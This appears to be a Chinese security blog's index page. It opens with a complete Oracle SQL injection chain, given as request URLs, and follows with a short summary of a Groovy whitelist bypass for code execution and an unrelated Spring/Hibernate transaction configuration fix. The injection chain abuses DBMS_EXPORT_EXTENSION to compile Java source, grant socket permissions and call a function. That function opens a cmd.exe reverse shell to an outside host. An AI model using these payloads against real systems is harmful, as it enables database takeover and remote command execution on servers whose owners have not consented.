http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("172.16.10.1", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

赋予JAVA执行权限

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

创建函数

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

赋予函数执行权限

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

反弹SHELL

1
http://www.iswin.org/oracle.jsp?name=' and (select sys.reversetcp from dual) is not null--

致谢

首先感谢Wooyun社区lupin的对漏洞http://zone.wooyun.org/content/18894的分析

漏洞利用0x1

漏洞的成因是Groovy的白名单被绕过了,对常见的危险函数以及某些类做了限制,关于漏洞利用,我们只需要找到一个类能获取当前Class对象,这样的话也就是说可以用Java反射特性执行任意代码了,文中给出了java.lang.Math这个类,然后调用java.lang.Math.class.forName('xx)就可以执行Java代码了,这里我给出了一个命令执行的Exploit

Read More

今天在做一个小项目时用到了hibernate4和spring mvc 4.x,在做整合时一切都比较顺利,但是在测试hibernate插入数据时抛出了个异常

1
org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread

查了相关资料发现是事务配置有问题,我一般比较习惯用声明式注解,所以就用了来配置了,调试了半天还是一样的错
误,实在是找不到错误在哪里,最后我用注解的方式开启了事务管理(@EnableTransactionManagement),一切正常,看来真是事务的问题,实在是不知道哪里错了,就看了下官方的文档,发现这两种开启事务的方式的作用域范围。

@EnableTransactionManagement 和 tx:annotation-driven只查找在同一个application context中bean上面查找@Transactional,也就是说在采用注解开启事务管理里和Transactional在同一上下文当中,而在xml配置的时候把加载的顺序搞反了,正常的顺序应该是扫包完成bean的注册之后,tx:annotation-driven才会在spring注册的bean里面扫描@Transactional注解,而我恰恰把顺序给弄反了。

正确地方式应该像这样:

1
2
3
<context:annotation-config/>
<context:component-scan base-package=""/>
<tx:annotation-driven />

###参考链接
[1] : http://forum.spring.io/forum/spring-projects/web/80895-why-tx-annotation-driven-doesn-t-work-in-my-service-configuration-file